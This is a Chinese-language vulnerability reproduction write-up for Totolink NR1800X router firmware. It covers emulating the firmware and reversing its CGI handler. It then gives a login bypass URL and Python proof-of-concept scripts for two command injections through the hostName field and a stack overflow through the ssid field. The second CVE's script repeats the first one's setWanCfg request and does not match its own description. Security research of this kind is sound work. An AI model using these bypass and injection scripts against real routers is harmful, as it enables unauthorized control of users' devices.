环境

[[CVE]]
固件下载
Ubuntu25.10
IDA9.1
binwalk
qemu
firmwalker

固件仿真

1
binwalk -Me TOTOLINKL.web 

image.png
firmwalker 分析 web服务程序是 -root/usr/sbin/lighttpd

image.png
MIPS 小端序架构

qume模拟

下载以下内容

1
2
debian_squeeze_mipsel_standard.qcow2
vmlinux-3.2.0-4-4kc-malta

宿主机配置虚拟网卡

1
2
3
sudo ip tuntap add mode tap name tap0
sudo ip addr add 192.168.3.1/24 dev tap0
sudo ip link set tap0 up

启动模拟

1
2
3
4
5
6
sudo qemu-system-mipsel -M malta \
-kernel /home/ming/下载/iot/CVE-2026-1328/vmlinux-3.2.0-4-4kc-malta \
-hda /home/ming/下载/iot/CVE-2026-1328/debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0,115200" \
-nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no

在模拟后的虚拟机配置网卡

1
ifconfig eth0 192.168.10.200 netmask 255.255.255.0

squashfs-root 打包并传输到虚拟机

1
2
3
4
5
6
tar -zcvf squashfs-root.gz squashfs-root
scp -O \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
squashfs-root.gz root@192.168.13.200:/
tar -zxvf squashfs-root.gz

chroot 环境​ 准备必要的系统接口

1
2
3
4
cd squashfs-root/
mount -t proc /proc ./proc
mount -o bind /dev ./dev
chroot . /bin/sh

image.png

web 服务的程序是在 -root/usr/sbin/lighttpd ,直接启动尝试

image.png
这个错误表明 lighttpd 找不到配置文件

1
find . -name "*.conf" | grep -i lighttpd

image.png

image.png
使用 -f 配置文件再次运行

1
./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

image.png
这个错误是因为 lighttpd 需要写入 PID 文件,但 /var/run/目录不存在

1
2
mkdir -p /var/run/lighttpd
mkdir -p /var/log/lighttpd

再次运行 lighttpd
image.png
启动成功

登录绕过

这边为了使用bp,使用了NATBypass工具转发端口到win主机
拦截请求包分析内容
image.png
关键字 formLoginAuth.htm?authCode 使用grep进行搜索

1
grep -ir "formLoginAuth.htm?authCode"

image.png
cstecgi.cgi 进行分析
image.png
搜索字符串
image.png
获取用户名、密码、flag,根据请求包分析用户名固定为admin,密码为输入
image.png

获取路由器后台的账号密码
image.png
127行 判断flag是否为1,则将后台的name赋值给传入的name,根据请求包猜测为用户名是否有进行设置,否则直接使用admin传入
129行 进行用户名和密码的判断
130行 如果-ren_qing_style为1且密码为空则也可以登录
132-150行 认证成功后判断当前设备类型
image.png
认证失败则v18赋值为0
image.png
构造响应内容,也就是前面bp接受的内容

我们接着继续分析lighttpd中的Form_Login
image.png
依次来获取对应值

image.png
home.html_3为goURL
home.html_2为flag
如果goURL为空的话,根据flag的值进行跳转页面
image.png
判断v8,实际上就是判断authCode,认证是否通过
总结:是否有authCode值,来决定是否进入home.html主界面,否则就返回到login.html界面,所以我们构造访问url就可以直接绕过登录了

1
127.0.0.1:15000/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login

将authCod设为1,且goURL为home.html进行跳转

漏洞复现

CVE-2026-1326命令注入

漏洞描述
Totolink NR1800X 固件版本 9.1.0u.6279_B20210910 中存在命令注入漏洞。弱点出现在 /cgi-bin/cstecgi.cgi 文件的 POST 请求处理组件中的 setWanCfg 函数中。通过主机名参数Hostname,攻击者可以执行远程命令注入。漏洞利用细节已公开,增加了针对该设备的潜在攻击风险。
搜索字符串hostname,定位到漏洞点在 sub_421C98 函数中
image.png

我们先从mian函数开始分析,如何调用到 sub_421C98 函数中
image.png
128:获取 json 请求给v17
129:从v17中取出 topicurl 字段不然返回为空
130:路径裁切 47 == '/',找到第一个/后面的值
134-145:NEED_AUTH 存在,值是 “1”,且判断获取到的值是否为这些接口

image.png
且后面含有判断是否包含 getDmzCfgget
image.png
这边还有 set 功能,重点就在 setsetget 在逻辑上类似,但是 set 中189:goto LABEL_ 会执行while循环中匹配到的函数
image.png
image.png
如果为 setwanCfg 跳转到 sub_421C98
image.png
image.png
获取 proto 的值且进行分支判断,使其 proto=1,即可到达 dosystem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
TARGET_IP = "192.168.10.200"
CGI_URL = f"http://{TARGET_IP}/cgi-bin/cstecgi.cgi"

url = f"http://{TARGET_IP}/formLoginAuth.htm?authCode=1&action=login"
r = requests.get(url, timeout=5, allow_redirects=False)
session_id = r.cookies.get("SESSION_ID")
ts = re.search(r"timestamp=(\d+)", r.headers.get("Location", ""))
session_id = f"2:{ts.group(1)}:2"
#命令执行
cookies = {"SESSION_ID": session_id}
if cookies:
payload = "'; echo 'adad' > /tmp/ming7; '"
requests.post(CGI_URL, json={
"topicurl": "setWanCfg",
"hostName": payload,
"proto": "1"
}, cookies=cookies, timeout=5)

image.png

CVE-2026-1327命令注入

漏洞描述
NR1800 X_Firmware V9.1.0u.6279_B20210910在setTraceroutecfg函数中存在命令注入漏洞。Var
变量接收POST请求的command参数。然而,由于用户可以控制command输入,doSystem可能导致命令注入漏洞。
和上一步一样
当 topicurl 为 "setTracerouteCfg" 时,调用函数 sub_420F68
image.png
通过 websGetVar 获取 command的值
image.png
再经过 Validity_check 检测
再通过 sprintf 进行拼接,调用dosystem,未过滤 ; > #,可以进行命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

TARGET_IP = "192.168.10.200"
CGI_URL = f"http://{TARGET_IP}/cgi-bin/cstecgi.cgi"

url = f"http://{TARGET_IP}/formLoginAuth.htm?authCode=1&action=login"
r = requests.get(url, timeout=5, allow_redirects=False)
ts = re.search(r"timestamp=(\d+)", r.headers.get("Location", "timestamp=0"))
cookies = {"SESSION_ID": f"2:{ts.group(1)}:2"}

requests.post(CGI_URL, json={
"topicurl": "setWanCfg",
"hostName": "'; echo 'adad' > /tmp/ming11; '",
"proto": "1"
}, cookies=cookies, timeout=5)

CVE-2026-1328栈溢出

漏洞描述
NR1800 X_Firmware V9.1.0u.6279B20210910在setWizardCfg函数中存在缓冲区溢出漏洞。v49变量从POST请求中接收ssid参数。然而,由于用户可以控制ssID的输入,语句urldecode可能导致缓冲区溢出漏洞。
当 topicurl 为 "setWizardCfg" 时,调用函数 sub_428C84
image.png
image.png
image.png
websGetVar 获取用户通过 POST 请求发送的 ssid 变量,保存到 v49
image.png
v49有带入 urldecode 函数
image.png
image.png
strlen(a1) 是传入的 v49,但后续向v3(v77)输入数据没有检查 v4 是否超过了 v77 128 字节上限,从而溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re

TARGET_IP = "192.168.10.200"
CGI_URL = f"http://{TARGET_IP}/cgi-bin/cstecgi.cgi"

url = f"http://{TARGET_IP}/formLoginAuth.htm?authCode=1&action=login"
r = requests.get(url, timeout=5, allow_redirects=False)
ts = re.search(r"timestamp=(\d+)", r.headers.get("Location", "timestamp=0"))
cookies = {"SESSION_ID": f"2:{ts.group(1)}:2"}

requests.post(CGI_URL, json={
"topicurl": "setWizardCfg",
"ssid": "a" * 0x1000
}, cookies=cookies, timeout=5)